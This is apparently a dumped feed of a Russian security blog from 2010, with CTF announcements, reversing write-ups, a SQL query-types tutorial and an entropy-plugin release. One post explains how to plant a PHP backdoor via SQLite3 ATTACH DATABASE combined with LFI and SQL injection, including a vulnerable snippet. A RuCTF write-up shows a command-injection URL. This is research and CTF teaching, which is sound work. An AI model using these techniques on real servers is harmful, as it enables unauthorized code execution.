/var/log/smokedchicken.log tag:smokedchicken.org,2009-12-10://1 2010-08-19T18:18:22Z Movable Type 5.02 LEET MORE CTF 2010 Announce tag:smokedchicken.org,2010://1.44 2010-08-19T08:13:08Z 2010-08-19T18:18:22Z СПбГУ ИТМО (организаторы CIT CTF) проводят очередные соревнования в жанре Capture The Flag. Организаторы обещают преферанс и куртизанокразвлечения всю игру помимо задач по криптоанализу, вирусному анализу, реверсу, администрирования *nix и др. CTF будет проводиться 8 сентября 2010, начиная с 7... 盗賊 http://touzoku-security.blogspot.com СПбГУ ИТМО (организаторы CIT CTF) проводят очередные соревнования в жанре Capture The Flag.
Организаторы обещают преферанс и куртизанокразвлечения всю игру помимо задач по криптоанализу, вирусному анализу, реверсу, администрирования *nix и др.

CTF будет проводиться 8 сентября 2010, начиная с 7 утра по UTC.
Регистрация: http://ctf.ifmo.ru/registration/.

Подробнее:
Сайт — http://ctf.ifmo.ru/
Твиттер — @citctf

P.S. Этот CTF также называется SOCHI CTF 2010 почему-то.
P.P.S. Организаторы не умеют пользоваться полем BCC в письмах, но это ж ничего страшного, спамеров то у нас нет. :)

]]> smpCTF writeup tag:smokedchicken.org,2010://1.43 2010-08-18T18:55:32Z 2010-08-18T19:15:54Z Совсем забыли выложить наши решения задач с smpCTF, на котором мы кстати заняли 6 место из 196 команд (649 человек). Среди русских команд мы первые. Непосредственно writeup доступен на сайте smpCTF (PDF, 310 Кб). Для тех, кто не доверяет продуктам... 盗賊 http://touzoku-security.blogspot.com Совсем забыли выложить наши решения задач с smpCTF, на котором мы кстати заняли 6 место из 196 команд (649 человек). Среди русских команд мы первые.

Непосредственно writeup доступен на сайте smpCTF (PDF, 310 Кб).

Для тех, кто не доверяет продуктам Adobe и боится протрояненых pdf, — в google docs.

]]> Этичные хакеры на СТС tag:smokedchicken.org,2010://1.42 2010-08-09T11:19:25Z 2010-08-09T11:40:26Z 盗賊 http://touzoku-security.blogspot.com Кто такие этичные хакеры? Не те ли это люди, которые говорят компьютеру «Ма’ам, а не разрешите ли вам вдуть?». Ведь можно и по роже схлопотать, но можно и вдуть, как говорилось в том анекдоте.

В общем творчество ТВ, оно, понятно дело, популярное. В видео замечены следующие компании, что резонно и нормально: Эшелон, DSec, PT и Кашпировский. Информзащиты нет, оно и понятно — откуда там хакеры, гггг :)))). Но не это интересно.

Знатоки, внимание, вопрос! Кто такой нафиг Семен Алексеев? Заметьте, он входит в топ20 хакеров России, как он сам сказал, причем единственный — этичный. Видимо в ежегодном рейтинге ФСО/ФСБ участвует товарищ, какой молодец. Immunity Canvas прикупил (а может и скачал? :), на корку видимо денег не хватило.

P.S. Семен, если ты вдруг нагуглал этот сайт по своей фамилии, когда искал рейтинг топ 20 хакеров, то не ломай наш сайт, а то Чака Норриса позову.

]]> Уязвимость "Hole 196" в WPA2 tag:smokedchicken.org,2010://1.41 2010-07-25T05:02:32Z 2010-08-14T13:28:33Z Хакеры из компании AirTight нашли уязвимость в WPA2, о которой они расскажут на Black Hat Arsenal и DEFCON18 в Лас-Вегасе 29 и 31 июля, соответственно. А еще 4 августа в 11:00 PDT (время по Калифорнии) AirTight проведет вебинар вот тут.... 盗賊 http://touzoku-security.blogspot.com Хакеры из компании AirTight нашли уязвимость в WPA2, о которой они расскажут на Black Hat Arsenal и DEFCON18 в Лас-Вегасе 29 и 31 июля, соответственно.

А еще 4 августа в 11:00 PDT (время по Калифорнии) AirTight проведет вебинар вот тут.

Взято отсюда: http://www.airtightnetworks.com/WPA2-Hole196.

UPD: Прикольно, кстати, название уязвимости они придумали, типа 196 страница стандарта IEEE 802.11 (где как раз про PTK и GTK речь и идет).

]]> Типы SQL-запросов в приложениях tag:smokedchicken.org,2010://1.38 2010-07-05T18:27:15Z 2010-07-13T18:33:57Z В этом посте описаны различные виды SQL-выражений, которые можно встретить в приложениях, работающих с базами данных: embedded, static, dynamic, prepared, parameterized (bind variables) SQL. Данные типы не являются непересекающимися множествами. Например, embedded является способом записи, а bind variables используется как... Павел Збицкий http://smokedchicken.org В этом посте описаны различные виды SQL-выражений, которые можно встретить в приложениях, работающих с базами данных: embedded, static, dynamic, prepared, parameterized (bind variables) SQL. Данные типы не являются непересекающимися множествами. Например, embedded является способом записи, а bind variables используется как в статических (неявно), так и в динамических (явно) запросах. 1. Embedded SQL
Это способ записи SQL-выражений прямо в тексте программы. Выражения SQL обрамляются специальными тегами, которые препроцессором (прекомпилятором) преобразуются в конструкции языка программирования. Наиболее известными являются DB2-прекомпилятор (для традиционных языков программирования для мэйнфреймов) и SQLJ.

1) Пример для DB2 и C++:

EXEC SQL INCLUDE SQLCA;
EXEC SQL INCLUDE SQLDA;
EXEC SQL BEGIN DECLARE SECTION;
char Name[128];
EXEC SQL END DECLARE SECTION;
EXEC SQL SELECT * FROM Q.STAFF WHERE NAME = :Name;
EXEC SQL SELECT NAME :Name FROM Q.STAFF;
if (sqlca.sqlcode != 0L) {
...
}
В первых двух строках подключаются DB2-структуры, используемые для контроля результатов выполнения SQL-выражений. В 3-й строке объявляется маркер начала блока хост-переменных (host variables)- переменных, которые можно использовать внутри SQL-запросов. 5-я строка заканчивает блок хост-переменных. В 6-й строке представлен запрос с хост-переменной, значение которой используется. Запрос в 7-й строке демонстрирует получение данных в хост-переменную. sqlca.sqlcode содержит код завершения предыдущего SQL-выражения. В последних версиях мэйнфрейм-компиляторов DB2-прекомпилятор может быть вызван неявно путем указания опции SQL прямо компилятору.

2) Пример для Java с SQLJ и Oracle:

String Name;
#sql {
    SELECT NAME, INTO :OUT Name
        FROM STAFF
};
2. Static SQL
Использование статических запросов позволяет снизить временную стоимость обращений к базе данных. Это достигается за счет введения дополнительного шага BIND, выполняемого один раз при установке приложения на указанную БД.
После обработки файла с embedded SQL DB2-прекомпилятор создает особый DBRM (DataBase Request Module) файл, который содержит описание SQL-выражений во внутреннем формате. Для того, чтобы приложение могло взаимодействовать с БД, необходимо связать (BIND) SQL-выражения с БД, то есть, трансформировать DBRM в некоторую описательную сущность в БД, называемую планом (PLAN). Из каждого исходного модуля приложения, взаимодействующего с БД, получается один DBRM. Соответственно, один план может содержать описания для многих модулей. Обыкновенно в этом случае план составляют из пакетов (PACKAGE), а каждый пакет из одной DBRM. Именно пакеты содержат информацию, необходимую БД для быстрого выполнения запроса. Заполнение этой информации будет происходить на этапе BIND еще перед запуском приложения. На этом же шаге происходит валидация запроса - проверка соответствия колонок, типов хост-переменных и т.д. фактическим объектам в БД.
В примере для DB2 из п.1 оба запроса являются статическими - полная информация о запросе доступна исходя из вида SQL-выражения, будет сохранена DB2-прекомпилятором в DBRM, и впоследствии сохранена в виде пакета в БД при выполнении связывания (BIND). Если запрос размером в мегабайт, то BIND (построение оптимальной схемы выполнения запроса) может занять продолжительное время - до нескольких десятков минут, в зависимости от производительности сервера, но это время тратится один раз, и при выполнении большой запрос отрабатывает мгновенно.
Также объединение static + embedded SQL присутствует в PL/SQL, и, судя по всему, в хранимых процедурах на Transact-SQL.

3. Dynamic SQL
Динамические запросы применяют в тех случаях, когда неизвестен вид выполняемого запроса (например, в общих клиентах для БД), а также в скриптовых языках, когда о ни о какой компиляции / прекомпиляции не может быть речи. SQL-выражение указывается как строка-значение некоторой переменной. Перед выполнением данного выражение СУБД должна его разобрать и составить план. БД поддерживают осуществление такой подготовки явно (шаг prepare statement) или неявно. Запросы, которым prepare делается явно, называют prepared SQL. Это позволяет один раз подготовить план, а затем много раз быстро выполнять запрос.

1) Prepared SQL для DB2:

EXEC SQL BEGIN DECLARE SECTION;
struct {
    short Length;
    char Statement[1024];
} PreparedStatement;
char Name[128];
EXEC SQL END DECLARE SECTION;
char *Query = "SELECT NAME FROM Q.STAFF";
PreparedStatement.Length = strlen(Query);
strcpy(PreparedStatement.Statement, Query);
EXEC SQL DECLARE SELECT_CURSOR FOR SELECT_STMT;
EXEC SQL PREPARE SELECT_STMT FROM :PreparedStatement;
EXEC SQL OPEN SELECT_CURSOR;
EXEC SQL FETCH SELECT_CURSOR INTO :Name;
EXEC SQL CLOSE SELECT_CURSOR;

2) Non-Prepared SQL для DB2:

EXEC SQL BEGIN DECLARE SECTION;
struct {
    short Length;
    char Statement[1024];
} ExecutedStatement;
EXEC SQL END DECLARE SECTION;
char *Query = "INSERT INTO Q.STAFF (NAME) VALUES ('MEDVED')";
ExecutedStatement.Length = strlen(Query);
strcpy(ExecutedStatement.Statement, Query);
EXEC SQL EXECUTE IMMEDIATE :ExecutedStatement;

DB2 не поддерживает SELECT-выражения для Non-Prepared SQL.

3) Prepared SQL для MySQL:

char *Query = "SELECT NAME FROM STAFF";
mysql_stmt_prepare(stmt, Query, strlen(Query));
mysql_stmt_execute(stmt);

4) Non-Prepared SQL для MySQL:

char *Query = "SELECT NAME FROM STAFF";
mysql_query(stmt, Query);
4. Parameterized SQL
Это способ записи prepared SQL с указанием мест для хост-переменных. Все статические SQL, в которых используются хост-переменные, являются параметризованными - явно отделены SQL-выражения от переменных, по-другому статический SQL не записать. Однако, термин "Parameterized SQL" как правило применяется к динамическим запросам. В строку запроса вставляются спецсимволы '?', и СУБД, при составлении плана, понимает, что при выполнении запроса нужно ожидать некоторое количество хост-переменных определенных типов. Так как план запроса составляется по "голому" запросу без значений переменных, то невозможно изменение запроса путем проведения SQLINJ.

1) Пример для DB2 (на основе примера 1 из п.3)

char *Query = "SELECT NAME FROM Q.STAFF WHERE ID = ?";
...
EXEC SQL OPEN SELECT_CURSOR USING :Identifier;

2) Пример для MySQL + JDBC:

PreparedStatement ps = conn.prepareStatement(
    "SELECT NAME FROM STAFF WHERE ID = ?");
ps.setString(1, Identifier);
ps.executeQuery();

3) Пример для MySQL + PHP (самой распространенной и проблемной связки):

$link = mysqli_connect("localhost", "root", "", "mysql");
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}                                                                                   
if ($stmt = mysqli_prepare($link, 
        "SELECT User, Password FROM User WHERE User = ?")) {
    $user = "root";
    mysqli_stmt_bind_param($stmt, "s", $user);
    mysqli_stmt_execute($stmt);
    mysqli_stmt_bind_result($stmt, $res_user, $res_pass);
    mysqli_stmt_fetch($stmt);
    printf ("'%s' => '%s'\n", $res_user, $res_pass);
}
else {
    printf("Prepare failed: %s\n", mysqli_error($link));
}
mysqli_close($link);

Какой вывод из этого повествования можно сделать? Использование хост-переменных для указания значений параметров, а также prepared SQL весьма просто, позволяет решить проблемы безопасности, а также, во многих случаях, повысить общую производительность приложения за счет уменьшения стоимости взаимодействий с базой данных.
]]> Получение шелла через SQLite3 в веб-директории PHP tag:smokedchicken.org,2010://1.37 2010-07-04T17:17:19Z 2010-07-12T17:23:59Z Допустим, обнаружено приложение на PHP+SQLITE3. Допустим, в нем имеются уязвимости LFI+SQLINJ. В этом посте хочу описать технику позволяющую в некоторых случаях подгрузить бэкдор на уязвимый сервер.... Антон Сапожников http://snowytoxa.blogspot.com/

Допустим, обнаружено приложение на PHP+SQLITE3. Допустим, в нем имеются уязвимости LFI+SQLINJ. В этом посте хочу описать технику позволяющую в некоторых случаях подгрузить бэкдор на уязвимый сервер.

]]> 

 <?php
 $db = new PDO('sqlite:mysqlitedb.db');
 $db->exec('CREATE TABLE foo (id integer, bar STRING)');
 $db->exec("INSERT INTO foo (id,bar) VALUES (".$_GET[id].",'pwn me');");
 $result = $db->query('SELECT * FROM foo');
 foreach ($result as $row) {
     print $row[0].' '.$row[1]."</br>\n";
 };
 ?>

Как вы успели заметить, в четвертой строке имеется уязвимость SQL Injection. Функциональные возможности sqlite3 не дают больших преимуществ исследователю в задаче получения шелла на сервере. Тем не менее, наше приложение имеет также другую уязвимость, позволяющую инклудить произвольные и не очень файлы, осталось дело за малым создать такой файл! Sqlite3 позволяет на лету подключать файлы с базами данных: 

attach database filename as mydatabasename;
Самое интересное в том, что если файла с подключаемой базой данных не существует, то он будет создан. Наша задача записать в него наш шелл. Посмотрим, что представляет собой файл с данными в формате sqlite3: 
0000  53 51 4c 69 74 65 20 66  6f 72 6d 61 74 20 33 00  |SQLite format 3.|
0010  04 00 01 01 00 40 20 20  00 00 00 0a 00 00 00 00  |.....@  ........|
0020  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 01  |................|
0030  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 00  |................|
0040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0060  00 00 00 00 0d 00 00 00  01 03 c3 00 03 c3 00 00  |..........ц..ц..|
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
03c0  00 00 00 3b 01 06 17 13  13 01 5f 74 61 62 6c 65  |...;......_table|
03d0  66 6f 6f 66 6f 6f 02 43  52 45 41 54 45 20 54 41  |foofoo.CREATE TA|
03e0  42 4c 45 20 66 6f 6f 20  28 69 64 20 69 6e 74 65  |BLE foo (id inte|
03f0  67 65 72 2c 20 62 61 72  20 53 54 52 49 4e 47 29  |ger, bar STRING)|
0400  0d 00 00 00 09 03 8d 00  03 ec 03 d8 03 c4 03 b0  |......-..Л.ь.д.¦|
0410  03 a9 03 a2 03 9b 03 94  03 8d 00 00 00 00 00 00  |.L.-.?.¦.-......|
0420  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0780  00 00 00 00 00 00 00 00  00 00 00 00 00 05 09 03  |................|
0790  01 01 01 01 05 08 03 01  01 01 01 05 07 03 01 01  |................|
07a0  01 01 05 06 03 01 01 01  01 05 05 03 01 01 01 01  |................|
07b0  12 04 03 01 29 01 54 68  69 73 20 69 73 20 61 20  |....).This is a |
07c0  74 65 73 74 12 03 03 01  29 01 54 68 69 73 20 69  |test....).This i|
07d0  73 20 61 20 74 65 73 74  12 02 03 01 29 01 54 68  |s a test....).Th|
07e0  69 73 20 69 73 20 61 20  74 65 73 74 12 01 03 01  |is is a test....|
07f0  29 01 54 68 69 73 20 69  73 20 61 20 74 65 73 74  |).This is a test|
0800

Удивительно, но интерпретатор PHP нормально его переваривает, если сделать ему include. Теперь наша задача - поместить в файл php-код. Для этого нам необходимо сформировать некую структуру, которая в формате sqlite3 выглядела бы как валидный php-код. Поскольку в файлах хранятся данные таблиц и их описания, то другого выхода у нас нет, кроме как создать свою таблицу и в качестве данных записать в неё php-код. Дабы не иметь проблем с экранированием кавычек, создадим таблицу с данными типа INTEGER. Код будет следующий: 

 attach database [/tmp/smkchk46187290] as smkchk46187290;
 create table smkchk46187290.smkchk ( x0 integer, x1 integer);
 insert into smkchk46187290.smkchk values (808464488, 1701604463);
В результате появится файл с следующим содержанием: 
0000  53 51 4c 69 74 65 20 66  6f 72 6d 61 74 20 33 00  |SQLite format 3.|
0010  04 00 01 01 00 40 20 20  00 00 00 02 00 00 00 00  |.....@  ........|
0020  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 01  |................|
0030  00 00 00 00 00 00 00 00  00 00 00 01 00 00 00 00  |................|
0040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0060  00 00 00 00 0d 00 00 00  01 03 b9 00 03 b9 00 00  |..........¦..¦..|
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
03b0  00 00 00 00 00 00 00 00  00 45 01 06 17 19 19 01  |.........E......|
03c0  67 74 61 62 6c 65 73 6d  6b 63 68 6b 73 6d 6b 63  |gtablesmkchksmkc|
03d0  68 6b 02 43 52 45 41 54  45 20 54 41 42 4c 45 20  |hk.CREATE TABLE |
03e0  73 6d 6b 63 68 6b 20 28  20 78 30 20 69 6e 74 65  |smkchk ( x0 inte|
03f0  67 65 72 2c 20 78 31 20  69 6e 74 65 67 65 72 29  |ger, x1 integer)|
0400  0d 00 00 00 01 03 f3 00  03 f3 00 00 00 00 00 00  |......С..С......|
0410  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
07f0  00 00 00 0b 01 03 04 04  30 30 30 68 65 6c 6c 6f  |........000hello|
Слово hello, наших рук дело. Подобным образом записанный файл, содержащий phpinfo(), будет выглядеть следующим образом: 
 <...>
07e0  00 00 00 00 1a 01 06 04  04 04 04 04 30 30 3c 3f  |............00<?|
07f0  70 68 70 20 70 68 70 69  6e 66 6f 28 29 3b 3f 3e  |php phpinfo();?>|
А sql-код будет такой: 
 attach database [/tmp/smkchk93313515] as smkchk93313515;
 create table smkchk93313515.smkchk ( x0 integer, x1 integer, x2 integer,
  x3 integer, x4 integer);
 insert into smkchk93313515.smkchk values (808467519, 1885892640,
  1885892713, 1852206888, 691748670);
Теперь используя LFI-уязвимость мы инклудим наш файл и получаем вывод phpinfo(). К посту приложен скрипт, генерирующий sql-код для произвольного php-кода.

NB1: Во избежание применения кавычек для обозначения имен файлов при создании таблиц в sqlite3 были использованы квадратные скобки (кредитсы уходят Марату).
NB2: Так же стоит отметить, что последовательные sql запросы возможны (кредитсы опять уходят Марату), но только в случае вызова из php-функции exec.
]]> IDA Entropy Plugin tag:smokedchicken.org,2010://1.36 2010-06-18T20:33:37Z 2010-07-14T14:18:56Z Utility for entropy calculation of 32-bit executable and binary files is released. It can be useful for express searching of a file blocks with a high entropy - encrypted chunks, encryption keys, etc. Utility can be built as a IDA... Павел Збицкий http://smokedchicken.org Utility for entropy calculation of 32-bit executable and binary files is released. It can be useful for express searching of a file blocks with a high entropy - encrypted chunks, encryption keys, etc. Utility can be built as a IDA plugin and as a standalone program.
It allows to calculate entropy of a sections of the file by utility launch, calculate entropy of any block of the file, build entropy map of a specified section.

ida-ent-gen.PNG

Double-click on the row in ListView copies Address and Length to appropriate fields on the form. Calculate button shows entropy for a data block from StartAddress to StartAddress + Length. Draw button allows to build entropy map of the data block. ChunksSize specifies a length of chunks used for entropy calculation in this mode. And StepSize field is used as a indent between current and next chunks. Double-click on the map in IDA plugin mode allows to go to the specified location in IDA listing.

ida-ent-graph.PNG

Deep Analyze button performs a lot of calculations from StartAddress to StartAddress + Length with a varying block size from 1 to ChunkSize and with StepSize indent. If calculated entropy value is greater than MaxEntropy for the chunk, it will be added to result report. Double-click on the row in IDA plugin mode allows to go to the specified location in IDA listing.

ida-ent-table.PNG

Launch feature in IDA plugin mode is IDA listing selection check. I.e. utility fills StartAddress, Length and pushes to Calculate button. To start utility as IDA plugin simply copy in to ./IDA/plugins/ and press F11 (default hotkey) or choose Edit -> Plugins ->Entropy plugin.

In standalone mode utility shows GetOpenFileName dialog when started without command-line parameters. Command line format is "ida-ent.exe [-sw] filename", where switches are one of the following: --binary (-b), --pe (-p), --elf (-e). By default utility tries to determine file format (PE, ELF) by checking signature.

UPD: Overlay (non-empty data block in the rest of file) detection was added in standalone mode for PE (checked) and ELF (not checked). Problem with a window focus in plugin mode was fixed. Also utility was released under GNU GPL.

Sources (for MS Visual C++ 2008 EE) and precompiled standalone utility, IDA Pro 5.5 plugin, IDA Free 4.9 plugin are available in the archive.

]]> DC18: bin500 tag:smokedchicken.org,2010://1.35 2010-05-29T07:42:23Z 2010-05-29T10:03:11Z Binary500 является исполняемым ELF'ом для SPARC V9. Дизассемблированный листинг на первый взгляд похож на смесь IA32 + ESA/390 в синтаксисе AT&T. После знакомства с архитектурой и используемыми соглашениями, все становится на свои места: Процессор имеет 32 64-х битных регистров общего... Павел Збицкий http://smokedchicken.org Binary500 является исполняемым ELF'ом для SPARC V9. Дизассемблированный листинг на первый взгляд похож на смесь IA32 + ESA/390 в синтаксисе AT&T. После знакомства с архитектурой и используемыми соглашениями, все становится на свои места:
Процессор имеет 32 64-х битных регистров общего назначения: global %g0-%g7, out %o0-%o7, local %l0-%l7, in %i0-%i7, 32 регистра FPU и систему быстрых, но простых команд длиной 32 бита каждая. Некоторые регистры имеют особое назначение: %g0 всегда содержит ноль, %o6 также известен как %sp (stack pointer), %i6 - %fp (frame pointer), %o7 содержит адрес текущей инструкции при выполнении вызова подпрограммы и используется для определения адреса возврата. Регистры %o0-%o5 используются для передачи аргументов в процедуры, команда, save сохраняет и меняет mapping регистров в процедуре, и %i0-%i5 будут содержать значения из %o, то есть, переданные аргументы. %o0 содержит возвращаемое значение из процедуры.
Также стоит отметить специфику выполнения циклов: инструкция, следующая за командой условного перехода исполняется всегда. Но если условный переход не был выполнен, ее результат аннулируется.
Можно приступать к разбору.

]]> Так как команды имеют длину всего 4 байта (кроме т.н. синтетических инструкций), а адреса - 8 байт, то одной командой адрес не загрузить, и используются конструкции вида (! обозначает комментарий)
set 0x100000, %l1
sllx %l1, 12, %l1
bset 0xFE0, %l1 ! 100000FE0

Анализ неизвестного кода (тем более на не очень знакомой архитектуре) начинают с рассмотрения функций стандартных библиотек или системных вызовов. У нас таких функций (SUNW_C_GetMechSession, C_CreateObject, C_EncryptInit,..., fopen, fprintf,...) в избытке. Если погуглить по первым двум, то приходим на Symmetric Encryption Example, что почти один-в-один с исследуемой программой. Осталось разобрать, где какие значения лежат в нашем коде. Также пригодится этот заголовочный файл для определения констант.

В функции main практически в самом начале (адрес 100000C5C) видим вычисление адреса 100000FE0 и копирования 8 байт оттуда в стековую переменную. Ее значение становится 0xDEADBEEFBAADF00D. Затем идет вычисление адреса 100000FE8 и копирование оттуда 0x78 байт в стек. Причем адрес приемника вычисляется как sethi %hi(0x3800), %g5 + btog -0x101, %g5. Запомним это.
Далее - формирование параметров для SUNW_C_GetMechSession. Из примера от SUN мы знаем, что должно быть что-то вроде

mechanism.mechanism = CKM_DES_CBC_PAD;
mechanism.pParameter = des_cbc_iv;
mechanism.ulParameterLen = 8;
SUNW_C_GetMechSession(mechanism.mechanism, &hSession);

В листинге видим число 8, видим константу 0x125 = CKM_DES_CBC_PAD. Переименовываем стековые переменные
mechanism.mechanism= 0x7CF
arg_7D7 = 0x7D7
mechanism.ulParameterLen= 0x7DF
Это значит, что arg_7D7 = mechanism.pParameter, а des_cbc_iv = 0xDEADBEEFBAADF00D - что скопировали в самом начале main. SUNW_C_GetMechSession возвращает в %o1 идентификатор hSession.

Пропускаем открытие файла и доходим до вызова C_CreateObject, именно здесь указывается ключ шифрования, как видно из примера от SUN:

CK_ATTRIBUTE template[] = {
{CKA_CLASS, &class, sizeof (class) },
{CKA_KEY_TYPE, &keyType, sizeof (keyType) },
{CKA_TOKEN, &falsevalue, sizeof (falsevalue) },
{CKA_ENCRYPT, &truevalue, sizeof (truevalue) },
{CKA_VALUE, &des_key, sizeof (des_key) } };
C_CreateObject(hSession, template, sizeof (template) / sizeof (CK_ATTRIBUTE), &hKey);

В листинге видим, что значение %o1 вычисляется как sethi %hi(0x3800), %g5 + btog -0x101, %g5. Это значит, что template был сформирован в начале main и находился по адресу 100000FE8 до копирования в стек, и выглядит следующим образом (5 элеметов по 3 quad в каждом):

.quad 0
.quad 0x100101678
.quad 8
.quad 0x100
.quad 0x100101680
.quad 8
.quad 1
.quad 0x100101671
.quad 1
.quad 0x104
.quad 0x100101670
.quad 1
.quad 0x11
.quad 0x100101668
.quad 8

С помощью файла констант можно восстановить исходную структуру:

{ {CKA_CLASS, 0x100101678, 8}, /* value 4 = CKO_SECRET_KEY */
{CKA_KEY_TYPE, 0x100101680, 8}, /* value 0x13 = CKK_DES */
{CKA_TOKEN, 0x100101671, 1}, /* value 0 = FALSE */
{CKA_ENCRYPT, 0x100101670, 1}, /* value 1 = TRUE */
{CKA_VALUE, 0x100101668, 8} } /* value 0xDD73CC7FDD7ECC7F */

Далее идет чтение данных из файла и шифрование в цикле.
Итак, имеем алгоритм, паддинг, ключ и шифротекст, осталось написать процедуру расшифрования. Берем pyDes, пишем скрипт и получаем ответ allthatworkanditsjustDES!?!

]]> DC18: bin200 & bin300 tag:smokedchicken.org,2010://1.34 2010-05-27T18:38:39Z 2010-05-29T07:41:31Z Binary200 представляет собой обычный 32-х битный ELF. Наверное его можно позапускать, но это не наш метод. IDA подсказала, что на борту имеется 2 больших функции sub_B40 (содержит connect + write) и main (содержит printf). Коннект показался интереснее. В sub_B40 видим... Павел Збицкий http://smokedchicken.org Binary200 представляет собой обычный 32-х битный ELF. Наверное его можно позапускать, но это не наш метод.
IDA подсказала, что на борту имеется 2 больших функции sub_B40 (содержит connect + write) и main (содержит printf). Коннект показался интереснее.
В sub_B40 видим копирование 4-х массивов из области глобальных переменных в стековый буфер. Далее 2 цикла расшифровки скопированных буферов. Единственная сложность - это заметить циклы расшифровки, разбавленные весьма своеобразной реализацией функции вроде return (str + strlen(str)).
Расшифровав строки, получаем 'http://is.gd/bWsIR' и '192.168.69.77'. Конечно, сразу же смутил сокет типа AF_UNIX, а этот адрес укрепил подозрение в мусорности этого кода.
В main видим похожий код расшифрования и сразу сразу получаем ссылку http://is.gd/bUBRD, ведущую на фильм про зоофилию в Колумбии. Название страницы и есть ответ. Скрипт прилагается.

Binary300 - x86-64 ELF. IDA сказала, что он считает md5 от 256 байт по смещению 0 и смещению 17 от себя, проверят хеш по фильтру Блума и ксорит хеши с Encrypted Key, если хеш прошел проверку. Результат двух ксоров и есть Decrypted Key. Родилось предположение проверить хеши от всех смещений файла фильтром Блума, поксорить с Encrypted Key и получить флаг. Сначала была частично выдрана реализация фильтра из бинарника, но потом найдена здесь. В результате только хеши от 5 смещений проходили через фильтр. Высчитанные для них Decrypted Key не удовлетворили чекер.
Конвертация полученных Decrypted Key в строковое представление дало только одну корректную строку mYg0dthi$isD@k3y, которая и являлась флагом. К слову, этот Decrypted Key соответствует смещениям 0 и 17. То есть, для решения таска нужно было сконвертировать в строку Decrypted Key, который программа выводит при запуске. Скрипт прилагается.

]]> RuCTF-2010: Histograph tag:smokedchicken.org,2010://1.30 2010-04-28T18:23:41Z 2010-05-01T05:36:39Z Histograph... Сервис представляет из себя CGI-программу launch в виде ELF-бинарника. На вход принимает GET-параметры: action - запрошенное действие, мини-программа на собственном языке в каталоге ./actions arg - дополнительный параметр для определенных action'ов in, out - имена входных и выходных файлов.... Павел Збицкий http://smokedchicken.org Histograph... Сервис представляет из себя CGI-программу launch в виде ELF-бинарника. На вход принимает GET-параметры:
action - запрошенное действие, мини-программа на собственном языке в каталоге ./actions
arg - дополнительный параметр для определенных action'ов
in, out - имена входных и выходных файлов.

Флаги хранит в каталоге ./data в виде гистограмм-битмапов.

Соответственно, на каждый запрос подгружается нужная подпрограмма, и интерпретируется-выполняется.
Из полезных подпрограмм set (установить флаг - сгенерировать картинку по флагу), get (получить флаг-картинку), hint (типа подсказка).

Виртуальная машина представляет из себя 16-ти битный процессор с обычными командами типа MOV, PUSH, POP, CALL, RETN,... и необычными - печать значения переменной в консоль, читать / писать символ в файловый поток, system и т.д., всего 28 команд. Каждая команда - байт опкода + 1, 2 или 3 16-ти битных операнда. Зная это, несложно написать простой дизассемблер :)

Изучив подпрограмму get, можно узнать, что если запросить файл, состоящий из 111 и более букв o, можно выполнять произвольные команды, например, так:
launch?action=get&in=myfile&arg=echo 'Content-Type:text/plain\r\n';ls

Изучив hint, можно сделать
launch?action=hint&arg=3255
и получить подсказку в виде

struct registers{unsigned short ip;unsigned short sp;unsigned short bp;} reg;

enum opcodes{SET=0x0,MOV=0x1,ADD=0x2,SUB=0x3,MUL=0x4,
JMP=0x5,JE=0x6,JA=0x7,JB=0x8,CALL=0x9,RET=0xa,DIV=0xb,READ=0x10,WRITE=0x11,
PRINT=0x12,EXEC=0x13,PUSH=0x20,POP=0x21,ENTER=0x22,LEAVE=0x23,GETBP=0x24,PTR=0x25,MOVPTR=0x26,
END=0x30,DUMP=0x40,CONTTYPE=0x41,SHOWSHORT=0x42,GETSHORT=0x43};

Не знаю, как она поможет на этом этапе, когда дизассемблер уже написан.

Осталось 2 вопроса: как туда залить этот файл с oooo, чтобы потом получать список файлов-картинок, и как затем распознавать эти картинки. Вероятно, надо ковырять подпрограмму set. Собственно, проблема с картинками и заставила отступиться от сервиса во время игры.

Дизассемблер, launch, подпрограммы прилагаются.

UPD: Подпрограмма echo позволяет также создавать файлы, если указан параметр out. Таким образом, создать файл с ooo...ooo можно так:
launch?action=echo&out=myfile&arg=oooooo...ooo

UPD2: Генерация картинок, подпрограмма set.
0. Вывод заголовков битмапа в файл и stdout.
1. Вычисляется сумма по символам флага: Sum = flag[i] * (i + 1) mod 256, i =0,31
2. Флаг кодируется с учетом вычисленного значения Sum и таблицы, находящейся по смещению 0x04B3 в set:
index = (flag[i] + Sum) mod 256
flag[i] = table[index]
3. Формирование битмап-картинки.
Картинка представляет из себя изображение размера 500 x 300. По краям гистограммы белые поля, сама гистограмма расположена по x от 26 (0x1A) до 474 (0x1DA) и по y от 22 (0x16) до 278 (0x116).
Заполнение битмапа представляет собой два вложенных цикла по высоте и ширине картинки:
for (i = 0; i < 300; i++)
for (j =0; j < 500; j++)
draw(i,j)

Пиксели, координаты которых не попадают в границы гистограммы, выводятся белым. Оси гистограммы выводятся черным. Если же пиксель не попадает ни на оси, ни на поля, производится вычисление высоты рисуемого столбца гистограммы:
index2 = (j - 26 - 1) / 14
Так как значения j у нас в промежутке от 27 до 474, то index2 принимает значение от 0 до 31, как раз по длине флага.
Далее, вычисляется собственно высота: 278 - flag[index2]. Если полученное значение больше i (текущей отрисовываемой высоты битмапа), то заливаем белым, если равна - рисуем черную окантовку, и рисуем зеленым, если меньше.

Как высчитывать по картинке флаг. Определяем высоту столбца, вычитаем из 278. Получаем значение flag[index2]. Затем находим в таблице table это значение и запоминаем индекс index. Получаем 32 сравнения index = (flag[i] + Sum) mod 256 с двумя неизвестными flag[i] и Sum. Но для так как flag[31] = '=', вычисляем Sum и запросто решаем остальные уравнения.

Сервис сдался. Это было достаточно жестко.

UPD3: PoC - декодер картинок:
test-img : ABCDEFGHIJABCDEFGHIJABCDEFGHIJ1=
0087-4icm-7v79 : VIWW0KCUTYLFJ9TTQH05S0JX7V19WOJ=
Но почему-то не берет encrypted_src/default.

